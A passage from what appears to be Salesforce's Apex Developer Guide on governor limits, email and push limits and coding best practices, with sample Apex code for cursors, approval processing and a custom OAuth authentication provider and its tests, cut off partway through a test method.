licenses, the concurrent long-running Apex requests limit is set at 50, which is the maximum capped limit. If your org has 1,000 or fewer
licenses, the concurrent long-running Apex requests limit is set at 10, which is the minimum floor limit.

Static Apex Limits

Description Limit
Default timeout of callouts (HTTP requests or Web services calls) in a transaction 10 seconds

Maximum size of callout request or response (HTTP request or Web services call)1 6 MB for synchronous Apex or
12 MB for asynchronous Apex

Maximum SOQL query run time before Salesforce cancels the transaction 120 seconds

Maximum number of class and trigger code units in a deployment of Apex 7500

Apex trigger batch size2 200

For loop list batch size 200

Maximum number of records returned for a Batch Apex query in Database.QueryLocator 50 million

1
The HTTP request and response sizes count towards the total heap size.
2
The Apex trigger batch size for platform events and Change Data Capture events is 2,000. The trigger batch size doesn’t apply when
using Mass Transfer Records.

Size-Specific Apex Limits

Description Limit
Maximum number of characters for a class 1 million

Maximum number of characters for a trigger 1 million

1 ,3 ,4
Maximum amount of code used by all Apex code in an org 6 MB

Method size limit2 65,535 bytecode instructions in

compiled form

1
This limit doesn’t apply to Apex code in first generation(1GP) or second generation(2GP) managed packages. The code in those types
of packages belongs to a namespace unique from the code in your org. This limit also doesn’t apply to any code included in a class
defined with the @isTest annotation.
2
Large methods that exceed the allowed limit cause an exception to be thrown during the execution of your code.
3
The default 6 MB limit can be increased by opening a support case for your org. Before you apply for a limit increase, ensure that you’re
following best practices outlined in Increase Apex Code Character Limit.
4
For scratch orgs, the limit is 10MB. The limit can be increased by opening a support case for your org. Before you apply for a limit
increase, ensure that you’re following the best practices.

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Miscellaneous Apex Limits

Connect in Apex
For classes in the ConnectApi namespace, every write operation costs one DML statement against the Apex governor limit.
ConnectApi method calls are also subject to rate limits. ConnectApi rate limits match Connect REST API rate limits, and
have a per user, per namespace, per hour rate limit. When you exceed the rate limit, a ConnectApi.RateLimitException
is thrown. Your Apex code must catch and handle this exception.
For migrated orgs and orgs created in Summer ’24 and later, only ConnectApi method calls that require Chatter are subject to
the per user, per namespace, per hour rate limit. The documentation for every ConnectApi method indicates whether Chatter
is required. ConnectApi method calls that don’t require Chatter count toward the Salesforce Platform total API request allocations,
which are per org and span a 24-hour period.
Data.com Clean
If you use the Data.com Clean product and its automated jobs, consider how you use Apex triggers. If you have Apex triggers on
account, contact, or lead records that run SOQL queries, the SOQL queries can interfere with Clean jobs for those objects. Your Apex
triggers (combined) must not exceed 200 SOQL queries per batch. If they do, your Clean job for that object fails. In addition, if your
triggers call future methods, they’re subject to a limit of 10 future calls per batch.
Event Reports
The maximum number of records that an event report returns for a user who isn’t a system administrator is 20,000; for system
administrators, 100,000.
MAX_DML_ROWS limit in Apex testing
The maximum number of rows that can be inserted, updated, or deleted, in a single, synchronous Apex test execution context, is
limited to 450,000. For example, an Apex class can have 45 methods that insert 10,000 rows each. If the limit is reached, you see this
error: Your runallTests is consuming too many DB resources.
SOQL Query Performance
For best performance, use selective SOQL queries. This is especially important for queries inside triggers. See More Efficient SOQL
Queries.

Email Limits
Inbound Email Limits

Email Services: Maximum Number of Email Messages Processed Number of user licenses multiplied by
(Includes limit for On-Demand Email-to-Case) 1,000; maximum 1,000,000

Email Services: Maximum Size of Email Message (Body and Attachments) 25 MB1

On-Demand Email-to-Case: Maximum Email Attachment Size 25 MB

On-Demand Email-to-Case: Maximum Number of Email Messages Processed Number of user licenses multiplied by
(Counts toward limit for Email Services) 1,000; maximum 1,000,000

1
The maximum size of email messages for Email Services varies depending on character set and transfer encoding of the body parts.
The size of an email message includes the email headers, body, attachments, and encoding. As a result, an email with a 35-MB
attachment likely exceeds the 25-MB size limit for an email message after accounting for the headers, body, and encoding.
When defining email services, note the following:
• An email service only processes messages it receives at one of its addresses.

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• Salesforce limits the total number of messages that all email services combined, including On-Demand Email-to-Case, can
process daily. Messages that exceed this limit are bounced, discarded, or queued for processing the next day, depending on
how you configure the failure response settings for each email service. Salesforce calculates the limit by multiplying the number
of user licenses by 1,000; maximum 1,000,000. For example, if you have 10 licenses, your org can process up to 10,000 email
messages a day.
• Email service addresses that you create in your sandbox can’t be copied to your production org.
• For each email service, you can tell Salesforce to send error email messages to a specified address instead of the sender's email
address.
• Email services reject email messages and notify the sender if the email (combined body text, body HTML, and attachments)
exceeds approximately 25 MB (varies depending on language and character set).
Outbound Email: Limits for Single and Mass Email Sent Using Apex
Each licensed org can send single emails to a maximum of 5,000 external email addresses per day based on Greenwich Mean Time
(GMT). For orgs created before Spring ’19, the daily limit is enforced only for emails sent via Apex and Salesforce APIs except for REST
API. For orgs created in Spring ’19 and later, the daily limit is also enforced for email alerts, simple email actions, Send Email actions
in flows, and REST API. If one of the newly counted emails can’t be sent because your org has reached the limit, we notify you by
email and add an entry to the debug logs. Single emails sent using the email author or composer in Salesforce don't count toward
this limit. There’s no limit on sending single emails to contacts, leads, person accounts, and users in your org directly from account,
contact, lead, opportunity, case, campaign, or custom object pages. In Developer Edition orgs and orgs evaluating Salesforce during
a trial period, you can send to a maximum of 50 recipients per day, and each single email can have up to 15 recipients..
Keep these considerations in mind when sending emails:
• When sending single emails, you can specify up to 150 recipients across the To, CC, and BCC fields in each
SingleEmailMessage. Each field is also limited to 4,000 bytes.
• If you use SingleEmailMessage to email your org’s internal users, specifying the user’s ID in setTargetObjectId
means the email doesn’t count toward the daily limit. However, specifying internal users’ email addresses in setToAddresses
means the email does count toward the limit.
• You can send mass email and list email to a maximum of 5,000 external email addresses per day per licensed Salesforce org. A
day is calculated based on Greenwich Mean Time (GMT).
• The single email, mass email, and list email limits count duplicate email addresses. For example, if you have
[email protected] in your email 10 times that counts as 10 against the limit.
• API or Apex single emails can be sent to a maximum of 5,000 external email addresses per day.
• You can send an unlimited amount of email through the UI to your org’s internal users, which include portal users.
• You can send mass emails and list emails only to contacts, person accounts, leads, and your org’s internal users.
• In Developer Edition orgs and orgs evaluating Salesforce during a trial period, you can send to no more than 10 external email
recipients per org per day using mass email and list email.
• You can’t send mass email using a Visualforce email template.

Push Notification Limits

An org can send up to 20,000 iOS and 10,000 Android push notifications per hour (for example, 4:00 to 4:59 UTC).
Only deliverable notifications count toward this limit. For example, a notification is sent to 1,000 employees in your company, but 100
employees haven’t installed the mobile app yet. Only the notifications sent to the 900 employees who have installed the mobile app
count toward this limit.
Each test push notification that is generated through the Test Push Notification page is limited to a single recipient. Test push notifications
count toward an org’s hourly push notification limit.

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When an org's hourly push notification limit is met, any additional notifications are still created for in-app display and retrieval via REST
API.

SEE ALSO:
Asynchronous Callout Limits
Platform Events Developer Guide

Set Up Governor Limit Email Warnings

You can specify users in your organization to receive an email notification when they invoke Apex code that surpasses 50% of allocated
governor limits. Only per-request limits are checked for sending email warnings; per-org limits like concurrent long-running requests
are not checked. These email notifications do not count against the daily single email limit.
1. Log in to Salesforce as an administrator user.
2. From Setup, enter Users in the Quick Find box, then select Users.
3. Click Edit next to the name of the user to receive the email notifications.

Note: Only users with Author Apex permission can receive email notifications.

4. Select the Send Apex Warning Emails option.

Note: Only users with Author Apex permission can view and update this option.

5. Click Save.

Note: These limits are currently checked for sending email warnings.
Total number of SOQL queries issued
Total number of records retrieved by SOQL queries
Total number of SOSL queries issued
Total number of DML statements issued
Total number of records processed as a result of DML statements, Approval.process, or database.emptyRecycleBin
Total heap size
Total number of callouts (HTTP requests or Web services calls) in a transaction
Total number of sendEmail methods allowed
Maximum number of methods with the future annotation allowed per Apex invocation
Maximum number of Apex jobs added to the queue with System.enqueueJob
Total number of records retrieved by Database.getQueryLocator
Total number of mobile Apex push calls

Running Apex within Governor Execution Limits

When you develop software in a multitenant cloud environment such as the Lightning platform, you don’t have to scale your code,
because the Lightning platform does it for you. Because resources are shared in a multitenant platform, the Apex runtime engine enforces
some limits to ensure that no one transaction monopolizes shared resources.

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Your Apex code must execute within these predefined execution limits. If a governor limit is exceeded, a run-time exception that can’t
be handled is thrown. By following best practices in your code, you can avoid hitting these limits. Imagine you had to wash 100 T-shirts.
Would you wash them one by one—one per load of laundry, or would you group them in batches for just a few loads? The benefit of
coding in the cloud is that you learn how to write more efficient code and waste fewer resources.
The governor execution limits are per transaction. For example, one transaction can issue up to 100 SOQL queries and up to 150 DML
statements. There are some other limits that aren’t transaction bound, such as the number of batch jobs that can be queued or active
at one time.
The following are some best practices for writing code that doesn’t exceed certain governor limits.

Bulkifying DML Calls

Making DML calls on lists of sObjects instead of each individual sObject makes it less likely to reach the DML statements limit. The
following is an example that doesn’t bulkify DML operations, and the next example shows the recommended way of calling DML
statements.
Example: DML calls on single sObjects
The for loop iterates over line items contained in the liList List variable. For each line item, it sets a new value for the Description__c
field and then updates the line item. If the list contains more than 150 items, the 151st update call returns a run-time exception for
exceeding the DML statement limit of 150. How do we fix this? Check the second example for a simple solution.
for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
}
// Not a good practice since governor limits might be hit.
update li;
}

Recommended Alternative: DML calls on sObject lists

This enhanced version of the DML call performs the update on an entire list that contains the updated line items. It starts by creating a
new list and then, inside the loop, adds every update line item to the new list. It then performs a bulk update on the new list.
List<Line_Item__c> updatedList = new List<Line_Item__c>();

for(Line_Item__c li : liList) {
if (li.Units_Sold__c > 10) {
li.Description__c = 'New description';
updatedList.add(li);
}
}

// Once DML call for the entire list of line items

update updatedList;

More Efficient SOQL Queries

Placing SOQL queries inside for loop blocks isn’t a good practice because the SOQL query executes once for each iteration and may
surpass the 100 SOQL queries limit per transaction. The following is an example that runs a SOQL query for every item in Trigger.new,
which isn’t efficient. An alternative example is given with a modified query that retrieves child items using only one SOQL query.
Example: Inefficient querying of child items

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The for loop in this example iterates over all invoice statements that are in Trigger.new. The SOQL query performed inside the
loop retrieves the child line items of each invoice statement. If more than 100 invoice statements were inserted or updated, and thus
contained in Trigger.new, this results in a run-time exception because of reaching the SOQL limit. The second example solves this
problem by creating another SOQL query that can be called only once.
trigger LimitExample on Invoice_Statement__c (before insert, before update) {
for(Invoice_Statement__c inv : Trigger.new) {
// This SOQL query executes once for each item in Trigger.new.
// It gets the line items for each invoice statement.
List<Line_Item__c> liList = [SELECT Id,Units_Sold__c,Merchandise__c
FROM Line_Item__c
WHERE Invoice_Statement__c = :inv.Id];
for(Line_Item__c li : liList) {
// Do something
}
}
}

Recommended Alternative: Querying of child items with one SOQL query

This example bypasses the problem of having the SOQL query called for each item. It has a modified SOQL query that retrieves all invoice
statements that are part of Trigger.new and also gets their line items through the nested query. In this way, only one SOQL query
is performed and we’re still within our limits.
trigger EnhancedLimitExample on Invoice_Statement__c (before insert, before update) {
// Perform SOQL query outside of the for loop.
// This SOQL query runs once for all items in Trigger.new.
List<Invoice_Statement__c> invoicesWithLineItems =
[SELECT Id,Description__c,(SELECT Id,Units_Sold__c,Merchandise__c from Line_Items__r)

FROM Invoice_Statement__c WHERE Id IN :Trigger.newMap.KeySet()];

for(Invoice_Statement__c inv : invoicesWithLineItems) {

for(Line_Item__c li : inv.Line_Items__r) {
// Do something
}
}
}

SOQL For Loops

Use SOQL for loops to operate on records in batches of 200. This helps avoid the heap size limit of 6 MB. Note that this limit is for code
running synchronously and it is higher for asynchronous code execution.
Example: Query without a for loop
The following is an example of a SOQL query that retrieves all merchandise items and stores them in a List variable. If the returned
merchandise items are large in size and a large number of them was returned, the heap size limit might be hit.
List<Merchandise__c> ml = [SELECT Id,Name FROM Merchandise__c];

Recommended Alternative: Query within a for loop

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To prevent this from happening, this second version uses a SOQL for loop, which iterates over the returned results in batches of 200
records. This reduces the size of the ml list variable which now holds 200 items instead of all items in the query results, and gets recreated
for every batch.
for (List<Merchandise__c> ml : [SELECT Id,Name FROM Merchandise__c]){
// Do something.
}

Using Salesforce Features with Apex

Many features of the Salesforce user interface are exposed in Apex so that you can access them programmatically in the Lightning
Platform. For example, you can write Apex code to post to a Chatter feed, or use the approval methods to submit and approve process
requests.

Actions
Create quick actions, and add them to your Salesforce Classic home page, to the Chatter tab, to Chatter groups, and to record detail
pages. Choose from standard quick actions, such as create and update actions, or create custom actions based on your company’s
needs.
Apex Cursors (Beta)
Use Apex cursors to break up the processing of a SOQL query result into pieces that can be processed within the bounds of a single
transaction. Cursors provide you with the ability to work with large query result sets, while not actually returning the entire result
set. You can traverse a query result in parts, with the flexibility to navigate forward and back in the result set. Package developers
and advanced developers can use cursors effectively to work with high-volume and high-resource processing jobs. Cursors combined
with chained queueable Apex jobs are a powerful alternative to batch Apex and address some of batch Apex’s limitations.
Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org
and your users’ use patterns.
Chatter Answers and Ideas
In Chatter Answers and Ideas, use zones to organize ideas and answers into groups. Each zone can have its own focus, with unique
ideas and answers topics to match that focus.
Use Cases for the CommercePayments Namespace
Review walkthroughs, use cases, and reference material for the CommercePayments platform.
Connect in Apex
Use Connect in Apex to develop custom experiences in Salesforce. Connect in Apex provides programmatic access to B2B Commerce,
CMS managed content, Experience Cloud sites, topics, and more. Create Apex pages that display Chatter feeds, post feed items with
mentions and topics, and update user and group photos. Create triggers that update Chatter feeds.
Moderate Chatter Private Messages with Triggers
Write a trigger for ChatterMessage to automate the moderation of private messages in an org or Experience Cloud site. Use triggers
to ensure that messages conform to your company’s messaging policies and don’t contain blocklisted words.
Data Cloud In Apex
You can use Apex with Data Cloud objects, with constraints and considerations that are detailed in this topic . Further, you can mock
SOQL query responses for Data Cloud data model objects (DMOs) in Apex testing by using SOQL stub methods and a test class.

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DataWeave in Apex
DataWeave in Apex uses the Mulesoft DataWeave library to read and parse data from one format, transform it, and export it in a
different format. You can create DataWeave scripts as metadata and invoke them directly from Apex. Like Apex, DataWeave scripts
are run within Salesforce application servers, enforcing the same heap and CPU limits on the executing code.
Moderate Feed Items with Triggers
Write a trigger for FeedItem to automate the moderation of posts in an org or Experience Cloud site. Use triggers to ensure that
posts conform to your company’s communication policies and don’t contain unwanted words or phrases.
Experience Cloud Sites
Experience Cloud sites are branded spaces for your employees, customers, and partners to connect. You can customize and create
sites to meet your business needs, then transition seamlessly between them.
Email
You can use Apex to work with inbound and outbound email.
External Services
External Services connect your Salesforce org to a service outside of Salesforce, such as an employee banking service. After you
register the external service, you can call it natively in your Apex code. Objects and operations defined in the external service's
registered API specification become Apex classes and methods in the ExternalService namespace. The registered service's
schema types map to Apex types, and are strongly typed, making the Apex compiler do the heavy lifting for you. For example, you
can make a type safe callout to an external service from Apex without needing to use the Http class or perform transforms on
JSON strings.
Flows
Flow Builder lets admins build applications, known as flows, that automate a business process by collecting data and doing something
in your Salesforce org or an external system.
Formula Evaluation in Apex
Formula evaluation in Apex helps avoid unnecessary DML statements to recalculate formula field values and evaluate dynamic
formula expressions. Dynamic formulas in Apex support SObjects and Apex objects as context objects. The context type that
corresponds to the Apex class used in the FormulaBuilder.withType() method must be a global, user-defined Apex
class. Any fields, properties, or methods that the formula references must also be global.
Metadata
Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings
that admins control, or configuration information applied by installed apps and packages.
Permission Set Groups
To provide Apex test coverage for permission set groups, write tests using the calculatePermissionSetGroup() method
in the System.Test class.
Platform Cache
The Lightning Platform Cache layer provides faster performance and better reliability when caching Salesforce session and org data.
Specify what to cache and for how long without using custom objects and settings or overloading a Visualforce view state. Platform
Cache improves performance by distributing cache space so that some applications or operations don’t steal capacity from others.
Salesforce Knowledge
Salesforce Knowledge is a knowledge base where users can easily create and manage content, known as articles, and quickly find
and view the articles they need.
Salesforce Files
Use Apex to customize the behavior of Salesforce Files.

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Salesforce Connect
Apex code can access external object data via any Salesforce Connect adapter. Use the Apex Connector Framework to develop a
custom adapter for Salesforce Connect. The custom adapter can retrieve data from external systems and synthesize data locally.
Salesforce Connect represents that data in Salesforce external objects, enabling users and the Lightning Platform to seamlessly
interact with data that’s stored outside the Salesforce org.
Salesforce Reports and Dashboards API via Apex
The Salesforce Reports and Dashboards API via Apex gives you programmatic access to your report data as defined in the report
builder.
Salesforce Sites
Salesforce Sites lets you build custom pages and Web applications by inheriting Lightning Platform capabilities including analytics,
workflow and approvals, and programmable logic.
Support Classes
Support classes allow you to interact with records commonly used by support centers, such as business hours and cases.
Territory Management 2.0
With trigger support for the Territory2 and UserTerritory2Association standard objects, you can automate actions and processes
related to changes in these territory management records.

Actions
Create quick actions, and add them to your Salesforce Classic home page, to the Chatter tab, to Chatter groups, and to record detail
pages. Choose from standard quick actions, such as create and update actions, or create custom actions based on your company’s needs.
• Create actions let users create records—like New Contact, New Opportunity, and New Lead.
• Custom actions invoke Lightning components, flows, Visualforce pages, or canvas apps with functionality that you define.Use a
Visualforce page, Lightning component, or a canvas app to create global custom actions for tasks that don’t require users to use
records that have a relationship to a specific object. Object-specific custom actions invoke Lightning components, flows, Visualforce
pages, or canvas apps that let users interact with or create records that have a relationship to an object record.
For create, Log a Call, and custom actions, you can create either object-specific actions or global actions. Update actions must be
object-specific.
For more information on actions, see the online help.

SEE ALSO:
Apex Reference Guide: QuickAction Class
Apex Reference Guide: QuickActionRequest Class
Apex Reference Guide: QuickActionResult Class
Apex Reference Guide: DescribeQuickActionResult Class
Apex Reference Guide: DescribeQuickActionDefaultValue Class
Apex Reference Guide: DescribeLayoutSection Class
Apex Reference Guide: DescribeLayoutRow Class
Apex Reference Guide: DescribeLayoutItem Class
Apex Reference Guide: DescribeLayoutComponent Class
Apex Reference Guide: DescribeAvailableQuickActionResult Class

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Apex Cursors (Beta)

Use Apex cursors to break up the processing of a SOQL query result into pieces that can be processed within the bounds of a single
transaction. Cursors provide you with the ability to work with large query result sets, while not actually returning the entire result set.
You can traverse a query result in parts, with the flexibility to navigate forward and back in the result set. Package developers and advanced
developers can use cursors effectively to work with high-volume and high-resource processing jobs. Cursors combined with chained
queueable Apex jobs are a powerful alternative to batch Apex and address some of batch Apex’s limitations.

Note: This feature is a Beta Service. Customer may opt to try such Beta Service in its sole discretion. Any use of the Beta Service
is subject to the applicable Beta Services Terms provided at Agreements and Terms. You can provide feedback and suggestions
for the feature in the Trailblazer Community.
Apex cursors are stateless and generate results from the offset position that is specified in the Cursor.fetch(integer
position, integer count) method. You must track the offsets or positions of the results within your particular processing
scenario.
A cursor is created when a SOQL query is executed on a Database.getCursor() or Database.getCursorWithBinds()
call. When a Cursor.fetch(integer position, integer count) method is invoked with an offset position and the
count of records to fetch, the corresponding rows are returned from the cursor. The maximum number of rows per cursor is 50 million,
regardless of the operation being synchronous or asynchronous. To get the number of cursor rows returned from the SOQL query, use
Cursor.getNumRecords().
Apex cursors throw these new System exceptions: System.FatalCursorException and
System.TransientCursorException. Transactions that fail with System.TransientCursorException can be
retried.
Apex cursors have the same expiration limits as API Query cursors. See API Query Cursor Limits.
To get Apex cursor limits, use these new methods in the Limits class.
• Limits.getApexCursorRows() and its upper bound Limits.getLimitApexCursorRows() method
• Limits.getFetchCallsOnApexCursor() and its upper bound
Limits.getLimitFetchCallsOnApexCursor() method

Apex Cursor Example

public class QueryChunkingQueuable implements Queueable {
private Database.Cursor locator;
private integer position;

public QueryChunkingQueuable() {
locator = Database.getCursor
('SELECT Id FROM Contact WHERE LastActivityDate = LAST_N_DAYS:400');
position = 0;
}

public void execute(QueueableContext ctx) {

List<Contact> scope = locator.fetch(position, 200);
position += scope.size();
// do something, like archive or delete the scope list records
if(position < locator.getNumRecords() ) {
// process the next chunk
System.enqueueJob(this);
}

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}
}

Approval Processing
An approval process automates how records are approved in Salesforce. An approval process specifies each step of approval, including
from whom to request approval and what to do at each point of the process.
• Use the Apex process classes to create approval requests and process the results of those requests:
– ProcessRequest Class
– ProcessResult Class
– ProcessSubmitRequest Class
– ProcessWorkItemRequest Class

• Use the Approval.process method to submit an approval request and approve or reject existing approval requests. For more
information, see Approval Class.

Note: The process method counts against the DML limits for your organization. See Execution Governors and Limits.

For more information about approval processes, see “Set Up an Approval Process” in the Salesforce online help.

Apex Approval Processing Example

Apex Approval Processing Example

The following sample code initially submits a record for approval, then approves the request. This example assumes that a pre-existing
approval process on Account exists and is valid for the Account record created.
public class TestApproval {
void submitAndProcessApprovalRequest() {
// Insert an account
Account a = new Account(Name='Test',annualRevenue=100.0);
insert a;

User user1 = [SELECT Id FROM User WHERE Alias='SomeStandardUser'];

// Create an approval request for the account

Approval.ProcessSubmitRequest req1 =
new Approval.ProcessSubmitRequest();
req1.setComments('Submitting request for approval.');
req1.setObjectId(a.id);

// Submit on behalf of a specific submitter

req1.setSubmitterId(user1.Id);

// Submit the record to the existing process named PTO_Reqwuest_Process

req1.setProcessDefinitionNameOrId('PTO_Request_Process');

// Skip the criteria evaluation for the specified process

req1.setSkipEntryCriteria(true);

// Submit the approval request for the account

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Approval.ProcessResult result = Approval.process(req1);

// Verify the result

System.assert(result.isSuccess());

System.assertEquals(
'Pending', result.getInstanceStatus(),
'Instance Status'+result.getInstanceStatus());

// Approve the submitted request

// First, get the ID of the newly created item
List<Id> newWorkItemIds = result.getNewWorkitemIds();

// Instantiate the new ProcessWorkitemRequest object and populate it

Approval.ProcessWorkitemRequest req2 =
new Approval.ProcessWorkitemRequest();
req2.setComments('Approving request.');
req2.setAction('Approve');
req2.setNextApproverIds(new Id[] {UserInfo.getUserId()});

// Use the ID from the newly created item to specify the item to be worked
req2.setWorkitemId(newWorkItemIds.get(0));

// Submit the request for approval

Approval.ProcessResult result2 = Approval.process(req2);

// Verify the results

System.assert(result2.isSuccess(), 'Result Status:'+result2.isSuccess());

System.assertEquals(
'Approved', result2.getInstanceStatus(),
'Instance Status'+result2.getInstanceStatus());
}
}

Authentication
Salesforce provides various ways to authenticate users. Build a combination of authentication methods to fit the needs of your org and
your users’ use patterns.

Create a Custom Authentication Provider Plug-in

You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.
OAuth 2.0 Token Exchange Handler Examples
Sometimes you want to integrate Salesforce into a complex system where you have a primary app, a central identity provider, and
multiple other apps and microservices. In this model, users log in to the primary app via the identity provider and access data provided
by the other apps and microservices. To fit Salesforce into this model as one of the apps providing data, use the OAuth 2.0 token
exchange flow, which implements an Apex token exchange handler.

Create a Custom Authentication Provider Plug-in

You can use Apex to create a custom OAuth-based authentication provider plug-in for single sign-on (SSO) to Salesforce.

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Out of the box, Salesforce supports several external authentication providers for single sign-on, including Facebook, Google, LinkedIn,
and service providers that implement the OpenID Connect protocol. By creating a plug-in with Apex, you can add your own OAuth-based
authentication provider. Your users can then use the SSO credentials they already use for non-Salesforce applications with your Salesforce
orgs.
Before you create your Apex class, you create a custom metadata type record for your authentication provider. For details, see Create a
Custom External Authentication Provider.

Sample Classes
This example extends the abstract class Auth.AuthProviderPluginClass to configure an external authentication provider
called Concur. Build the sample classes and sample test classes in the following order.
1. Concur
2. ConcurTestStaticVar
3. MockHttpResponseGenerator
4. ConcurTestClass
global class Concur extends Auth.AuthProviderPluginClass {

public String redirectUrl; // use this URL for the endpoint that the
authentication provider calls back to for configuration
private String key;
private String secret;
private String authUrl; // application redirection to the Concur website
for authentication and authorization
private String accessTokenUrl; // uri to get the new access token from
concur using the GET verb
private String customMetadataTypeApiName; // api name for the custom metadata
type created for this auth provider
private String userAPIUrl; // api url to access the user in concur
private String userAPIVersionUrl; // version of the user api url to access
data from concur

global String getCustomMetadataType() {

return customMetadataTypeApiName;
}

global PageReference initiate(Map<string,string> authProviderConfiguration,

String stateToPropagate) {
authUrl = authProviderConfiguration.get('Auth_Url__c');
key = authProviderConfiguration.get('Key__c');
//Here the developer can build up a request of some sort
//Ultimately they’ll return a URL where we will redirect the user
String url = authUrl + '?client_id='+ key
+'&scope=USER,EXPRPT,LIST&redirect_uri='+ redirectUrl + '&state=' + stateToPropagate;
return new PageReference(url);
}

global Auth.AuthProviderTokenResponse handleCallback(Map<string,string>

authProviderConfiguration, Auth.AuthProviderCallbackState state ) {
//Here, the developer will get the callback with actual protocol.
//Their responsibility is to return a new object called AuthProviderToken

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//This will contain an optional accessToken and refreshToken

key = authProviderConfiguration.get('Key__c');
secret = authProviderConfiguration.get('Secret__c');
accessTokenUrl = authProviderConfiguration.get('Access_Token_Url__c');

Map<String,String> queryParams = state.queryParameters;

String code = queryParams.get('code');
String sfdcState = queryParams.get('state');

HttpRequest req = new HttpRequest();

String url = accessTokenUrl+'?code=' + code + '&client_id=' + key +
'&client_secret=' + secret;
req.setEndpoint(url);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');

Http http = new Http();

HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String accessToken = getTokenValueFromResponse(responseBody,
'AccessToken', null);
//Parse access token value
String refreshToken = getTokenValueFromResponse(responseBody,
'RefreshToken', null);
//Parse refresh token value

return new Auth.AuthProviderTokenResponse('Concur', accessToken,

'refreshToken', sfdcState);
//don’t hard-code the refresh token value!
}

global Auth.UserData getUserInfo(Map<string,string>

authProviderConfiguration, Auth.AuthProviderTokenResponse response) {
//Here the developer is responsible for constructing an Auth.UserData
object
String token = response.oauthToken;
HttpRequest req = new HttpRequest();
userAPIUrl = authProviderConfiguration.get('API_User_Url__c');
userAPIVersionUrl =
authProviderConfiguration.get('API_User_Version_Url__c');
req.setHeader('Authorization', 'OAuth ' + token);
req.setEndpoint(userAPIUrl);
req.setHeader('Content-Type','application/xml');
req.setMethod('GET');

Http http = new Http();

HTTPResponse res = http.send(req);
String responseBody = res.getBody();
String id = getTokenValueFromResponse(responseBody,
'LoginId',userAPIVersionUrl);
String fname = getTokenValueFromResponse(responseBody, 'FirstName',

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userAPIVersionUrl);
String lname = getTokenValueFromResponse(responseBody, 'LastName',
userAPIVersionUrl);
String flname = fname + ' ' + lname;
String uname = getTokenValueFromResponse(responseBody, 'EmailAddress',
userAPIVersionUrl);
String locale = getTokenValueFromResponse(responseBody, 'LocaleName',
userAPIVersionUrl);
Map<String,String> provMap = new Map<String,String>();
provMap.put('what1', 'noidea1');
provMap.put('what2', 'noidea2');
return new Auth.UserData(id, fname, lname, flname, uname,
'what', locale, null, 'Concur', null, provMap);
}

private String getTokenValueFromResponse(String response, String token,

String ns) {
Dom.Document docx = new Dom.Document();
docx.load(response);
String ret = null;

dom.XmlNode xroot = docx.getrootelement() ;

if(xroot != null){
ret = xroot.getChildElement(token, ns).getText();
}
return ret;
}

Sample Test Classes

The following example contains test classes for the Concur class.
@IsTest
public class ConcurTestClass {

private static final String OAUTH_TOKEN = 'testToken';

private static final String STATE = 'mocktestState';
private static final String REFRESH_TOKEN = 'refreshToken';
private static final String LOGIN_ID = 'testLoginId';
private static final String USERNAME = 'testUsername';
private static final String FIRST_NAME = 'testFirstName';
private static final String LAST_NAME = 'testLastName';
private static final String EMAIL_ADDRESS = 'testEmailAddress';
private static final String LOCALE_NAME = 'testLocalName';
private static final String FULL_NAME = FIRST_NAME + ' ' + LAST_NAME;
private static final String PROVIDER = 'Concur';
private static final String REDIRECT_URL =
'http://localhost/services/authcallback/orgId/Concur';
private static final String KEY = 'testKey';
private static final String SECRET = 'testSecret';
private static final String STATE_TO_PROPOGATE = 'testState';
private static final String ACCESS_TOKEN_URL = 'http://www.dummyhost.com/accessTokenUri';

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private static final String API_USER_VERSION_URL = 'http://www.dummyhost.com/user/20/1';

private static final String AUTH_URL = 'http://www.dummy.com/authurl';

private static final String API_USER_URL = 'www.concursolutions.com/user/api';

// in the real world scenario , the key and value would be read from the (custom fields
in) custom metadata type record
private static Map<String,String> setupAuthProviderConfig () {
Map<String,String> authProviderConfiguration = new Map<String,String>();
authProviderConfiguration.put('Key__c', KEY);
authProviderConfiguration.put('Auth_Url__c', AUTH_URL);
authProviderConfiguration.put('Secret__c', SECRET);
authProviderConfiguration.put('Access_Token_Url__c', ACCESS_TOKEN_URL);
authProviderConfiguration.put('API_User_Url__c',API_USER_URL);
authProviderConfiguration.put('API_User_Version_Url__c',API_USER_VERSION_URL);

authProviderConfiguration.put('Redirect_Url__c',REDIRECT_URL);
return authProviderConfiguration;

static testMethod void testInitiateMethod() {

String stateToPropogate = 'mocktestState';
Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url__c');

PageReference expectedUrl = new

PageReference(authProviderConfiguration.get('Auth_Url__c') + '?client_id='+
authProviderConfiguration.get('Key__c')
+'&scope=USER,EXPRPT,LIST&redirect_uri='+

authProviderConfiguration.get('Redirect_Url__c') + '&state=' +
STATE_TO_PROPOGATE);
PageReference actualUrl = concurCls.initiate(authProviderConfiguration,
STATE_TO_PROPOGATE);
System.assertEquals(expectedUrl.getUrl(), actualUrl.getUrl());
}

static testMethod void testHandleCallback() {

Map<String,String> authProviderConfiguration = setupAuthProviderConfig();
Concur concurCls = new Concur();
concurCls.redirectUrl = authProviderConfiguration.get('Redirect_Url_c');

Test.setMock(HttpCalloutMock.class, new ConcurMockHttpResponseGenerator());

Map<String,String> queryParams = new Map<String,String>();

queryParams.put('code','code');
queryParams.put('state',authProviderConfiguration.get('State_c'));
Auth.AuthProviderCallbackState cbState = new
Auth.AuthProviderCallbackState(null,null,queryParams);
Auth.AuthProviderTokenResponse actualAuthProvResponse =
concurCls.handleCallback(authProviderConfiguration, cbState);

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Auth.AuthProviderTokenResponse expectedAuthProvResponse = new

Auth.AuthProviderTokenResponse('Concur', OAUTH_TOKEN, REFRESH_TOKEN, null);

